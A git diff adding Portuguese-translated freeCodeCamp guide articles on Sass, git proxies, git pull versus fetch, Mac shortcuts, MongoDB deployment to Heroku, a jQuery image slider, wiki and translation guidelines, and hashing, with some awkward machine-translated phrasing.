+    <p class="cat-paragraph-2">Drink water out of the faucet chew on cable or if it fits, i sits roll on the floor purring your whiskers off.</p> 
+  </article> 
+ </body> 
+ </html> 
+```
+
+Depois de configurar o HTML, podemos abrir nosso arquivo `style.scss` e começar a estilizar no Sass. No código de exemplo abaixo, você provavelmente notará como alguns seletores de estilo estão aninhados no seletor de artigos; algo único para o Sass. Não se preocupe, a sintaxe será explicada na Parte 2. Por enquanto, só queremos adquirir uma compreensão de como o Sass funciona na sua forma mais simples.
+```
+article { 
+  h2 { 
+    font-family: Arial; 
+    color: blue; 
+  } 
+  .cat-paragraph-1 { 
+    color: red; 
+  } 
+  .cat-paragraph-2 { 
+    color: green; 
+  } 
+ } 
+```
+
+Uma vez que o código tenha sido digitado e salvo no arquivo `style.scss` , a tarefa de observação que digitamos na linha de comando detectou uma alteração no arquivo, compilou nosso Sass para CSS e gerou um novo arquivo chamado `style.css` . Você também pode ver um arquivo chamado `style.css.map` na sua pasta de projeto que também apareceu magicamente. Este arquivo é chamado de sourcemap e é de grande utilidade ao depurar o Sass, mas por enquanto vamos deixar.
+
+Abaixo podemos ver os arquivos listados na pasta do projeto.
+
+E agora, se abrirmos `index.html` em um navegador da web, podemos ver nossa página HTML estilizada usando CSS, que foi compilada a partir do código Sass de exemplo. Da mesma forma, podemos abrir o arquivo `style.css` para ver como o Sass gera o código Sass original. Compacto, não é?
+
+## Para onde ir a partir daqui?
+
+_Ótimo! Agora eu sei como compilar o Sass no meu computador. É isso?_
+
+Não por um tiro longo. Este foi um exemplo básico de como o Sass funciona, portanto, os benefícios de escrever no Sass sobre o CSS do vanilla podem não ser aparentes. Nós escrevemos 12 linhas de "Sass" e obtivemos 7 linhas de CSS como resultado. Não é exatamente uma diferença importante por qualquer padrão. Na Parte 2, explicaremos a **mágica** por trás da sintaxe Sass, como variáveis ​​e mixins, e como o uso de tais ferramentas pode nos dar superpoderes ao estilizar.
+
+Se você ainda está preso em como o Sass está magicamente compilando CSS ou talvez você queira mexer com código de amostra um pouco mais, o [Sassmeister](http://www.sassmeister.com/) é uma ótima interface online que permite escrever na sintaxe Sass e ver instantaneamente seu código compilado em CSS sem ter que instalar qualquer coisa ou fazer qualquer configuração no seu computador. É um recurso muito útil para sandbox e testar seu código Sass.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/git-behind-a-proxy-server/index.md b/client/src/guide/portuguese/miscellaneous/git-behind-a-proxy-server/index.md
new file mode 100644
index 0000000000..4b05721dd7
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/git-behind-a-proxy-server/index.md
@@ -0,0 +1,40 @@
+---
+title: Git Behind a Proxy Server
+localeTitle: Git atrás de um servidor proxy
+---
+**Casos de uso**
+
+Pode ser necessário modificar os comandos `git` que acessam (para atualizar e ler de) repositórios remotos se o seu acesso à Internet for através de um [servidor proxy](https://en.wikipedia.org/wiki/Proxy_server) .
+
+Servidores proxy são comuns em ambientes universitários e comerciais.
+
+Você pode [localizar suas configurações de proxy](http://www.wikihow.com/Change-Proxy-Settings) no painel de [configurações](http://www.wikihow.com/Change-Proxy-Settings) do seu navegador.
+
+## Usando o proxy com o Git
+
+Depois de ter obtido as configurações de proxy (URL do servidor, porta, nome de usuário e senha); você precisa configurar o seu git da seguinte forma:
+```
+$ git config --global http.proxy http://<username>:<password>@<proxy-server-url>:<port> 
+```
+
+Você precisaria substituir `<username>` , `<password>` , `<proxy-server-url>` , `<port>` pelos valores específicos das credenciais do seu servidor proxy. Esses campos são opcionais. Por exemplo, seu servidor proxy pode nem precisar do `<username>` e `<password>` , ou pode estar em execução na porta 80 (caso em que `<port>` não é necessária).
+
+Uma vez que você os tenha configurado, seu `git pull` , `git push` ou mesmo `git fetch` funcionariam corretamente.
+
+## Quando não usar
+
+Você não deve ter que usar comandos `git` com configurações de proxy, se um dos procedimentos a seguir acontecer
+
+*   Seu administrador do sistema ou política corporativa não permite que você acesse repositórios `git` remotos do GitHub, BitBucket etc.
+*   O repositório remoto em questão não está em sua máquina, mas está dentro da rede interna. Uma instância do GitLab implantada internamente na sua empresa é um bom exemplo.
+
+## Desativar configurações de proxy
+
+Use [esta](http://stackoverflow.com/questions/11499805/git-http-proxy-setting) discussão sobre estouro de pilha para remover suas configurações de proxy.
+
+## Recursos
+
+Você pode usar o seguinte para ler mais sobre isso:
+
+*   [Posso fazer o login por trás de um servidor proxy](https://help.github.com/desktop/faq/articles/can-i-log-in-behind-a-proxy-server/#platform-windows)
+*   [Git Config](https://git-scm.com/docs/git-config)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/git-pull-vs-git-fetch/index.md b/client/src/guide/portuguese/miscellaneous/git-pull-vs-git-fetch/index.md
new file mode 100644
index 0000000000..0739c2e8a2
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/git-pull-vs-git-fetch/index.md
@@ -0,0 +1,21 @@
+---
+title: Git Pull Vs Git Fetch
+localeTitle: Git Pull Vs Git Fetch
+---
+Esses dois comandos são usados ​​regularmente pelos usuários do git. Vamos ver a diferença entre os dois comandos.
+
+Por uma questão de contexto, vale a pena lembrar que provavelmente estamos trabalhando em um repo clone. O que é um clone? simplesmente uma duplicata de outro repositório. É basicamente obter sua própria cópia do código-fonte de outra pessoa.
+
+Dito isso, para manter seu clone atualizado com quaisquer alterações que possam ter sido aplicadas ao original, você precisará trazê-las ao seu clone. É onde o `fetch` e `pull` entram. `git fetch` é o comando que diz ao seu git local para recuperar as últimas informações de meta-dados do original (mas não faz nenhuma transferência de arquivos. É mais como verificar se há algum alterações disponíveis). `git pull` por outro lado, faz isso E traz (copia) essas mudanças do repositório remoto.
+
+Por exemplo
+```
+git pull origin ankur bugfix 
+```
+
+A ideia é ter em mente que geralmente há pelo menos três cópias de um projeto em sua estação de trabalho. Uma cópia é seu próprio repositório com seu próprio histórico de commit (o já salvo, por assim dizer). A segunda cópia é a sua cópia de trabalho, onde você está editando e construindo (ainda não está comprometido com o seu repo). A terceira cópia é a sua cópia "em cache" local de um repositório remoto (provavelmente o original de onde você clonou o seu). Você pode usar o `git fetch` para saber as alterações feitas no repositório / repositório remoto desde o último pull. Isso é útil para permitir a verificação antes de executar um pull real, o que poderia alterar os arquivos em sua ramificação atual e na cópia de trabalho (e possivelmente perder suas alterações, etc.).
+```
+git fetch 
+ git diff ...origin 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/global-control-shortcuts-for-mac/index.md b/client/src/guide/portuguese/miscellaneous/global-control-shortcuts-for-mac/index.md
new file mode 100644
index 0000000000..686c78a245
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/global-control-shortcuts-for-mac/index.md
@@ -0,0 +1,19 @@
+---
+title: Global Control Shortcuts for Mac
+localeTitle: Atalhos de controle global para Mac
+---
+Esses Atalhos de Controle Global para Mac economizarão horas acelerando sua digitação.
+
+[https://player.vimeo.com/video/107073108](https://player.vimeo.com/video/107073108)
+
+Esses atalhos globais funcionam em todos os lugares em um Mac:
+
+*   Controle + F = Avançar
+*   Controle + B = para trás
+*   Controle + N = linha seguinte
+*   Controle + P = Linha Anterior
+*   Controle + H = Backspace
+*   Controle + D = Excluir
+*   Controle + A = Início da Linha
+*   Controle + E = Fim da Linha
+*   Controle + K = linha de morte
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/guide-for-using-mongodb-and-deploying-to-heroku/index.md b/client/src/guide/portuguese/miscellaneous/guide-for-using-mongodb-and-deploying-to-heroku/index.md
new file mode 100644
index 0000000000..57db45abc0
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/guide-for-using-mongodb-and-deploying-to-heroku/index.md
@@ -0,0 +1,118 @@
+---
+title: Guide for Using MongoDB and Deploying to Heroku
+localeTitle: Guia para usar o MongoDB e implantar no Heroku
+---
+Neste guia, vamos ver como trabalhar com o MongoDB localmente e com o `mLab` para implementá-lo no Heroku. Alternativamente, você também pode usar o add-on `mLab` em Heroku, É grátis, mas pode exigir detalhes do seu cartão de crédito. Então, se você não está interessado em fornecer seus dados de cartão de crédito, você pode ir com o site da [mLab](https://mlab.com) .
+
+## Configurando uma conta gratuita no Heroku e no `mLab` :
+
+Inscreva-se para [Heroku](https://signup.heroku.com/) e [mLab](https://mlab.com/signup/)
+
+## Iniciando seu Mongodb (localmente):
+
+Para iniciar seu banco de dados em seu próprio sistema, execute o seguinte comando:
+```
+# Create a directory named 'data' if it doesn't exist 
+ $ mongod --port 27017 --dbpath=./data 
+```
+
+Agora seu Db está rodando
+
+`mongodb://localhost:27017/my_database_name`
+
+Se você estiver usando c9 e Se você estiver com problemas para iniciar seu banco de dados em C9, consulte esta [página](https://community.c9.io/t/setting-up-mongodb/1717)
+
+## Iniciando seu Mongodb ( `mLab` ):
+
+1.  Depois de criar sua conta `mLab` , clique no botão **Criar novo** e selecione Single-node -> Sandbox para obter o banco de dados livre e dar um nome ao seu banco de dados (criei um banco de dados chamado 'food' como exemplo).
+2.  Agora um banco de dados é criado com o nome 'comida', você pode criar uma nova coleção de sua preferência.
+3.  Por fim, adicione um usuário / usuários que possam acessar esse banco de dados e, ao adicionar um usuário, ele solicitará o nome de usuário e a senha que serão usados ​​para acessar o banco de dados.
+
+Agora seu banco de dados está rodando no url algo assim -
+
+`mongodb://username:password@ds01316.mlab.com:1316/food`
+
+onde nome de usuário e senha são os detalhes que você deu quando adicionou um usuário.
+
+Você pode encontrar sua URL do [_banco de dados_](https://mlab.com/databases/your_database_name) em [https://mlab.com/databases/your _database_ name](https://mlab.com/databases/your_database_name)
+
+## Fazendo uma conexão com o MongoDB em Node.js (enquanto o banco de dados está sendo executado em seu sistema local):
+
+Para trabalhar com o banco de dados, primeiro você precisa criar uma conexão. Nesta seção, usaremos o driver Node.js nativo do MongoDB para criar a conexão com o servidor MongoDB. Para instalar os drivers nativos do mongodb, use o comando npm para instalar o módulo mongodb. Depois disso, execute o seguinte comando no diretório do seu projeto.
+
+`npm install mongodb`
+
+Código Básico para se conectar ao MongoDB
+```
+//lets require/import the mongodb native drivers. 
+ var mongodb = require('mongodb'); 
+ 
+ //We need to work with "MongoClient" interface in order to connect to a mongodb server. 
+ var MongoClient = mongodb.MongoClient; 
+ 
+ // Connection URL. This is where your mongodb server is running. 
+ 
+ //(Focus on This Variable) 
+ var url = 'mongodb://localhost:27017/my_database_name'; 
+ //(Focus on This Variable) 
+ 
+ // Use connect method to connect to the Server 
+  MongoClient.connect(url, function (err, db) { 
+  if (err) { 
+    console.log('Unable to connect to the mongoDB server. Error:', err); 
+  } else { 
+    console.log('Connection established to', url); 
+ 
+    // do some work here with the database. 
+ 
+    //Close connection 
+    db.close(); 
+  } 
+ }); 
+```
+
+Para mais exemplos para trabalhar com o MongoDB, você pode se referir a este [blog](http://blog.modulus.io/mongodb-tutorial)
+
+Precisamos saber onde nosso servidor mongodb está rodando. A url representa o local onde a instância do servidor mongodb está sendo executada, de forma que possamos nos conectar a ela. A url contém o nome do banco de dados ao qual pretendemos nos conectar.
+
+Supondo que seu banco de dados esteja sendo executado na URL mencionada acima, vamos nos concentrar agora no URL que conecta o banco de dados (local)
+
+`var url = 'mongodb://localhost:27017/my_database_name';`
+
+### Fazendo uma conexão com o MongoDB no Node.js (enquanto o banco de dados está sendo executado no seu `mLab` ):
+
+A URL para se conectar ao `mLab` DB se parece com isso
+
+`var url = 'mongodb://username:password@ds01316.mlab.com:1316/food';`
+
+Você pode substituir a variável url por isso e tudo estará funcionando exatamente como deveria e, finalmente, seu banco de dados estará seguro e protegido no `mLab` onde você poderá ver suas coleções, usuários, backups, etc.
+
+### Nota importante:
+
+Mas comprometer seu nome de usuário e senha em seu repositório público às vezes é muito perigoso, portanto, nunca os envie para repositórios públicos. Em vez disso, você pode usar variáveis ​​de ambiente para armazenar o URL (contendo nome de usuário e senha) para fazer isso em seu sistema **local** .
+
+Para usuários de Mac / Linux, você pode simplesmente digitar:
+
+`export MONGOLAB_URI="mongodb://username:password@ds01316.mlab.com:1316/food"`
+
+Para usuários do Windows:
+
+`SET MONGOLAB_URI=mongodb://username:password@ds01316.mlab.com:1316/food`
+
+Depois de definir as variáveis ​​de ambiente, você precisa chamar a variável de ambiente em seu código. Você pode fazer isso digitando isto
+
+`var url = process.env.MONGOLAB_URI;`
+
+Agora, sua URL do MongoDb é inserida em seu código com segurança. Agora você pode cometer e implantar no seu heroku.
+
+Se você precisar de mais ajuda sobre como implantar em Heroku, você pode se referir a este [Wiki](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Heroku-Deployment-Guide)
+
+## Etapas Finais:
+
+Depois de implantar seu código no seu aplicativo Heroku, você precisa definir a variável de ambiente para o código em heroku.
+
+Para fazer isso, você precisa executar o seguinte comando do seu controle remoto heroku,
+
+`heroku config:set MONGOLAB_URI=mongodb://username:password@ds01316.mlab.com:1316/food`
+
+É isso, seu aplicativo agora está implantado com sucesso no heroku com o `mLab` DB
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/guide-to-build-a-sliding-image-gallery/index.md b/client/src/guide/portuguese/miscellaneous/guide-to-build-a-sliding-image-gallery/index.md
new file mode 100644
index 0000000000..b7011c3e43
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/guide-to-build-a-sliding-image-gallery/index.md
@@ -0,0 +1,203 @@
+---
+title: Guide to Build a Sliding Image Gallery
+localeTitle: Guia para criar uma galeria de imagens deslizante
+---
+Este tutorial irá orientá-lo na construção de um controle deslizante de imagens usando a biblioteca [jQuery](https://jquery.com/) .
+
+[![GIF mostrando o Slider em ação](//discourse-user-assets.s3.amazonaws.com/original/2X/0/08d83a22c28da836a06853b1f1ea669b398326b9.gif)](https://codepen.io/atjonathan/pen/BKMxxq)
+
+Este tutorial terá quatro partes:
+
+*   [HTML](#html)
+*   [SCSS](#scss)
+*   [JS](#js)
+*   [Referências](#references)
+
+## HTML
+
+Estaremos usando [Bootstrap](http://getbootstrap.com/) para este tutorial para manter as coisas com bom aspecto, sem gastar muito tempo.
+
+Nossa estrutura será a seguinte:
+```
+<div class="container"> 
+ 
+  <!-- The wrapper for our slider --> 
+  <div class="slider"> 
+    <ul class="slides"><!-- Each image will be inside this unordered list --></ul> 
+  </div> 
+ 
+  <div class="buttons"><!-- Pause and play buttons will go in here --></div> 
+ 
+ </div> 
+```
+
+Dentro de nossa `ul` com a classe de `slides` , teremos o seguinte:
+```
+<li class="slide"><img src="#" /></li> 
+ <li class="slide"><img src="#" /></li> 
+ <li class="slide"><img src="#" /></li> 
+ <li class="slide"><img src="#" /></li> 
+ <li class="slide"><img src="#" /></li> 
+```
+
+Dentro da nossa classe `.buttons` você deve ter o seguinte:
+```
+<button type="button" class="btn btn-default pause"> 
+    <span class="glyphicon glyphicon-pause"></span> 
+ </button> 
+ <button type="button" class="btn btn-default play"> 
+    <span class="glyphicon glyphicon-play"></span> 
+ </button> 
+```
+
+Aqui está um exemplo de como o seu `html` deve ser:
+
+> Nota: Você deve substituir o atributo image `src` pelo seu próprio conteúdo.
+```
+<div class="container"> 
+ 
+  <div class="slider"> 
+    <ul class="slides"> 
+      <li class="slide"><img src="https://unsplash.it/1280/720/?image=120" /></li> 
+      <li class="slide"><img src="https://unsplash.it/1280/720/?image=70" /></li> 
+      <li class="slide"><img src="https://unsplash.it/1280/720/?image=50" /></li> 
+      <li class="slide"><img src="https://unsplash.it/1280/720/?image=170" /></li> 
+      <li class="slide"><img src="https://unsplash.it/1280/720/?image=190" /></li> 
+    </ul> 
+  </div> 
+ 
+  <div class="buttons"> 
+    <button type="button" class="btn btn-default pause"> 
+      <span class="glyphicon glyphicon-pause"></span> 
+    </button> 
+    <button type="button" class="btn btn-default play"> 
+      <span class="glyphicon glyphicon-play"></span> 
+    </button> 
+  </div> 
+ 
+ </div> 
+```
+
+## SCSS
+
+Estamos usando o [Sass](http://sass-lang.com/) e a sintaxe do SCSS para que possamos aninhar e usar variáveis ![:heart_decoration:](//forum.freecodecamp.com/images/emoji/emoji_one/heart_decoration.png?v=2 ": heart_decoration:")
+
+Podemos usar o seguinte SCSS para definir nosso estilo:
+```
+// Variables 
+ $width: 720px; 
+ 
+ .slider { 
+  width: $width; 
+  height: 400px; 
+  overflow: hidden; 
+  margin: 0 auto; 
+  text-align: center; 
+ 
+  .slides { 
+    display: block; 
+    width: 6000px; 
+    height: 400px; 
+    margin: 0; 
+    padding: 0; 
+  } 
+ 
+  .slide { 
+    float: left; 
+    list-style-type: none; 
+    width: $width; 
+    height: 400px; 
+ 
+    img { 
+      width: 100%; 
+      height: 100%; 
+    } 
+  } 
+ } 
+ 
+ .buttons { 
+  margin: 0; 
+  width: $width; 
+  position: relative; 
+  top: -40px; 
+  margin: 0 auto; 
+ 
+  .play { 
+    display: none; 
+  } 
+ 
+  .btn { 
+    display: flex; 
+    margin: 0 auto; 
+    text-align: center; 
+  } 
+ } 
+```
+
+## JS
+
+#### Variáveis
+
+_No trecho de código a seguir, definimos variáveis ​​usadas posteriormente em nosso código._
+```
+var animationSpeed = 1000; // How quickly the next slide animates. 
+ var pause = 3000; // The pause between each slide. 
+```
+
+Nós vamos usar uma variável em branco onde vamos chamar o método `setInterval` :
+```
+var interval; 
+```
+
+#### Animação Vamos embrulhar nossas animações deslizantes dentro de uma função:
+```
+function startSlider() {} 
+```
+
+Estamos usando o método JavaScript nativo `setInterval()` para automatizar o conteúdo da função em um acionador baseado em tempo.
+```
+interval = setInterval(function() {}, pause); 
+```
+
+Usamos a variável de `pause` para ver quantos milissegundos esperar antes de chamar a função novamente. Leia mais sobre o método `setInterval` nativo aqui: https://developer.mozilla.org/pt-BR/docs/Web/API/WindowTimers/setInterval. Dentro de nossa função, usaremos o jQuery para desbotar entre os slides na velocidade da variável animationSpeed:
+```
+$('.slides > li:first') 
+  .fadeOut(animationSpeed) 
+  .next() 
+  .fadeIn(animationSpeed) 
+  .end() 
+  .appendTo('.slides'); 
+```
+
+*   Estamos segmentando o primeiro slide usando `$('.slides > li:first')` . - `.fadeOut(animationSpeed)` fará desaparecer o primeiro slide e, em seguida, usando `.next()` , passamos para o próximo slide. - Uma vez que nos mudamos para o próximo slide, faremos o seguinte em: `.fadeIn(animationSpeed)` . - Esta sequência continuará até o último slide ( `.end()` ), então paramos a animação. Vamos agora chamar a função `startSlider` para iniciar a animação:
+    
+    startSlider ();
+    
+
+#### Reproduzir e pausar _Esse recurso é opcional, mas muito fácil de implementar._ Vamos esconder o botão play, por isso não vemos os botões play e pause:
+```
+$('.play').hide(); // Hiding the play button. 
+```
+
+Vamos agora criar o nosso botão de pausa (mostrado automaticamente no carregamento da página):
+```
+$('.pause').click(function() { 
+    clearInterval(interval); 
+    $(this).hide(); 
+    $('.play').show(); 
+ }); 
+```
+
+*   Vamos chamar nossa função toda vez que o botão de pausa for clicado usando jQuery. - `clearInterval` o intervalo usando o método `clearInterval` e usando nossa variável de `interval` como parâmetro, indicando qual intervalo interromper. - Como o controle deslizante está pausado, `$(this).hide();` o botão de pausa usando `$(this).hide();` . Nota: estamos usando `this` , que se refere ao que nosso pai está chamando, ou seja, `.pause` . - Em seguida, mostraremos nosso botão de reprodução para que o usuário possa retomar a animação: `$('.play').show();` . O código a seguir configura nosso botão de reprodução (ocultado automaticamente no carregamento da página):
+    
+    $ ('. play'). click (function () { startSlider (); $ (this) .hide (); $ ('. pause'). show (); });
+    
+*   Vamos chamar nossa função toda vez que o botão de reprodução for clicado usando jQuery.
+    
+    *   Vamos iniciar ou reiniciar o intervalo usando a função `startSlider` .
+    *   Como o controle deslizante está sendo reproduzido no momento, ocultaremos o botão de reprodução usando `$(this).hide();` . Nota: estamos usando `this` , que se refere ao que nossos pais estão chamando, ie `.play` .
+    *   Em seguida, mostraremos nosso botão de pausa para que o usuário possa interromper a animação à vontade: `$('.pause').show();` .
+
+## Referências
+
+*   [Confira](https://codepen.io/atjonathan/pen/BKMxxq) o código-fonte e o exemplo no [CodePen](https://codepen.io/atjonathan/pen/BKMxxq) para este tutorial.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/guidelines-and-rules-for-wiki-articles/index.md b/client/src/guide/portuguese/miscellaneous/guidelines-and-rules-for-wiki-articles/index.md
new file mode 100644
index 0000000000..2be8fc8d56
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/guidelines-and-rules-for-wiki-articles/index.md
@@ -0,0 +1,28 @@
+---
+title: Guidelines and Rules for Wiki Articles
+localeTitle: Diretrizes e Regras para Artigos do Wiki
+---
+Bem-vindo à seção wiki do fórum.
+
+Convidamos você a usar, melhorar e criar novos como achar melhor. É uma ótima maneira de contribuir para a nossa comunidade.
+
+Congratulamo-nos com qualquer coisa relevante para o desenvolvimento de software, desde tutoriais até visões conceituais e conselhos práticos.
+
+Qualquer pessoa com **Nível de Confiança 1** (que você obterá automaticamente depois de ler artigos por cerca de uma hora) poderá editar e criar uma publicação na wiki.
+
+Nossos moderadores irão editar, excluir ou recategorizar qualquer coisa que viole nosso [Código de Conduta.](https://www.freecodecamp.com/code-of-conduct) ou não pertence à seção wiki (como perguntas ou desafios de soluções).
+
+## Como criar um artigo wiki
+
+1.  Crie seu tópico como faria normalmente
+2.  Clique no menu "…" da postagem e selecione "Make Wiki"
+3.  Enviar uma mensagem privada para [@ Rafase282](/users/rafase282) para informar que você criou um artigo e facilitar a transição da mudança de propriedade
+4.  Por favor, evite escrever na primeira pessoa e não assine o artigo ou promova-se através de links. Não se preocupe - sua autoria será preservada como parte do histórico de versões do artigo.
+
+## Perguntas frequentes
+
+1.  **Por que preciso alterar a propriedade do artigo para [@camperbot](/users/camperbot) ?**  
+    Ajuda-nos a acompanhar melhor as alterações ao artigo e impede que qualquer vandalismo de um artigo reflita mal no seu autor original. Ele também dá a todos um [lugar público onde eles podem rastrear a atividade do wiki](//forum.freecodecamp.com/users/camperbot/activity) .
+    
+2.  **Como transfiro a propriedade?**  
+    [@ Rafase282](/users/rafase282) acabará fazendo isso por você, mas se você tiver um momento, [envie-lhe uma mensagem](//forum.freecodecamp.com/users/rafase282) para acelerar as coisas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/guidelines-for-translating-free-code-camp-to-any-language/index.md b/client/src/guide/portuguese/miscellaneous/guidelines-for-translating-free-code-camp-to-any-language/index.md
new file mode 100644
index 0000000000..f5e09c2221
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/guidelines-for-translating-free-code-camp-to-any-language/index.md
@@ -0,0 +1,55 @@
+---
+title: Guidelines for Translating Free Code Camp to Any Language
+localeTitle: Diretrizes para traduzir o Free Code Camp para qualquer idioma
+---
+Muito obrigado pelo seu interesse em traduzir o FreeCodeCamp. A leitura deste documento é recomendada para participar de um esforço coletivo para levar o FreeCodeCamp a mais e mais pessoas em todo o mundo.
+
+## Como contribuir para traduções?
+
+Existem várias maneiras pelas quais você pode contribuir de forma colaborativa para as traduções. Todo esforço de tradução geralmente segue o fluxo de trabalho abaixo.
+
+> _Dica profissional: você pode contribuir para qualquer uma ou todas as fases abaixo do fluxo de trabalho de acordo com seu interesse._
+
+*   [Revise o trabalho de outro tradutor](https://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111/3) .
+*   [Crie problemas de `Translation` para acompanhar o progresso](https://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111/4) .
+*   [Implementar traduções](https://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111/5) .
+*   [Criar solicitações de extração para adicionar as traduções à base de código](https://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111/6)
+
+## Diretrizes e Recursos
+
+### Diretrizes gerais
+
+*   Tente não ser muito formal, mas não muito casual, apenas para manter as coisas amigáveis.
+*   A fim de tornar o conteúdo mais compreensível para falantes nativos da sua língua-alvo (pense naqueles que não falam inglês), traduza o máximo que puder, tente usar uma palavra em inglês somente se ela já for amplamente usada nos países onde seu idioma de destino é falado.
+
+### Glossário
+
+É eficiente se todos os tradutores que trabalham no mesmo idioma criarem um glossário mostrando a tradução de palavras em inglês empregadas nos desafios do FreeCodeCamp. Às vezes, há mais de uma maneira de traduzir alguns termos, e as diferenças regionais podem criar confusão (por exemplo, alguns termos podem diferir entre o espanhol da Espanha e da América Latina ou entre o francês empregado no Canadá e na França). Seja democrático! Escolha a tradução mais adequada, votando e mantenha um registro dos resultados. Um exemplo de tal registro pode ser encontrado aqui: [FreeCodeCamp Glossary (Inglês para Espanhol)](https://docs.google.com/spreadsheets/d/1c60Sl4MAAsZ7biCPgur7A4aVqhErIfwrE1SulPqbOGo/edit#gid=0) Use a sala de bate-papo para discutir o glossário, para que ninguém perca nada.
+
+### Se você precisar de ajuda com o Google Translator Toolkit
+
+Você pode encontrar ajuda para automatizar o processo de tradução empregando o Google Translator Toolkit, consulte: [Guia de espanhol](https://github.com/vtamara/fcc_trad)
+
+### Criando uma instância de teste do FreeCodeCamp
+
+Ver o produto final à medida que avança com a tradução pode ajudá-lo a permanecer motivado. É por isso que é uma boa idéia criar uma instância de teste do FreeCodeCamp onde você pode incluir as alterações mais recentes da tradução do idioma em que está trabalhando e usar o FreeCodeCamp incluindo essas alterações. A instância de teste a seguir foi criada para a versão em espanhol do FreeCodeCamp: [Introdução](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/seed/challenges/00-getting-started/getting-started.json) . Para criar uma instância de teste, siga as etapas a seguir:
+
+1.  Siga as instruções da [página Contribuindo,](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/CONTRIBUTING.md) veja se você consegue ver uma instância em execução em inglês
+2.  Abra o [Supported Languages.js](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/common/utils/supported-languages.js) e adicione o idioma da sua instância (por exemplo, `es: 'Spanish'` ), reinicie sua instância.
+3.  Altere o URL com um prefixo do seu idioma (por exemplo, para espanhol, `/en/challenges/` to `/es/challenges/` ), se a página tiver sido traduzida, você poderá vê-la.
+4.  Procure o arquivo de idioma, tente pesquisar palavras-chave em seu repositório, você pode encontrar todos os desafios em `/seed/challenges/` por exemplo, a página _[Getting Started](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/seed/challenges/00-getting-started/getting-started.json)_ está localizada em `freeCodeCamp/seed/challenges/00-getting-started/getting-started.json`
+5.  Feliz tradução!
+6.  Antes de submeter o PR, por favor, certifique-se de **NÃO** incluir o `supported-lamguages.js` no seu commit, ( `$ git reset -- common/utils/supported-languages.js` )
+7.  Por último, mas não menos importante, certifique-se de seguir todas as regras no [Guia do Colaborador](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/CONTRIBUTING.md) .
+8.  Obrigado pela sua contribuição!
+
+### Referências
+
+*   [Documentação do código fonte do FreeCodeCamp.](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/README.md)
+*   [Pull Request Contribute](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Pull-Request-Contribute)
+*   [Arquivos de ajuda para traduzir os desafios e indicações do FreeCodeCamp usando o Google Translator Toolkit.](https://github.com/vtamara/fcc_trad/blob/master/README.md)
+*   [Guia do contribuinte](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/CONTRIBUTING.md)
+
+Se você achar útil, poderá traduzir essas instruções para o seu idioma e adaptá-las para sua equipe de tradução (ver, por exemplo, [original em espanhol](https://github.com/vtamara/fcc_trad/blob/master/Recomendaciones.md) ) [.](https://github.com/vtamara/fcc_trad/blob/master/Recomendaciones.md)
+
+_Este guia é baseado [neste writeup](https://github.com/vtamara/fcc_trad/blob/master/Recomendaciones.EN.md) ._
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/hallenge-add-different-margins-to-each-side-of-an-element/index.md b/client/src/guide/portuguese/miscellaneous/hallenge-add-different-margins-to-each-side-of-an-element/index.md
new file mode 100644
index 0000000000..a1aace9c41
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/hallenge-add-different-margins-to-each-side-of-an-element/index.md
@@ -0,0 +1,5 @@
+---
+title: Hallenge Add Different Margins to Each Side of an Element
+localeTitle: Hallenge adiciona margens diferentes a cada lado de um elemento
+---
+O CSS permite controlar a margem de um elemento em todos os quatro lados com os atributos `margin-top` , `margin-right` , `margin-bottom` e `margin-left` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/hash-tables-and-hashing-functions/index.md b/client/src/guide/portuguese/miscellaneous/hash-tables-and-hashing-functions/index.md
new file mode 100644
index 0000000000..b421406395
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/hash-tables-and-hashing-functions/index.md
@@ -0,0 +1,166 @@
+---
+title: Hash Tables and Hashing Functions
+localeTitle: Tabelas de hash e funções de hashing
+---
+### Introdução ao hashing
+
+O hash é projetado para resolver o problema de precisar localizar ou armazenar um item em uma coleção com eficiência.  
+Por exemplo, se tivermos uma lista de 10.000 palavras em inglês e quisermos verificar se uma determinada palavra está na lista, seria ineficiente comparar sucessivamente a palavra com todos os 10.000 itens até encontrarmos uma correspondência. Mesmo se a lista de palavras estiver lexicograficamente ordenada, como em um dicionário, você ainda precisará de algum tempo para encontrar a palavra que está procurando.  
+Hashing é uma técnica para tornar as coisas mais eficientes, reduzindo efetivamente a pesquisa desde o início.
+
+## O que é hashing?
+
+Hash significa usar alguma função ou algoritmo para mapear dados de objetos para algum valor inteiro representativo.  
+Esse chamado código hash (ou simplesmente hash) pode ser usado como uma forma de restringir nossa pesquisa ao procurar o item no mapa.  
+Geralmente, esses códigos de hash são usados ​​para gerar um índice, no qual o valor é armazenado.
+
+## Como funciona o hashing
+
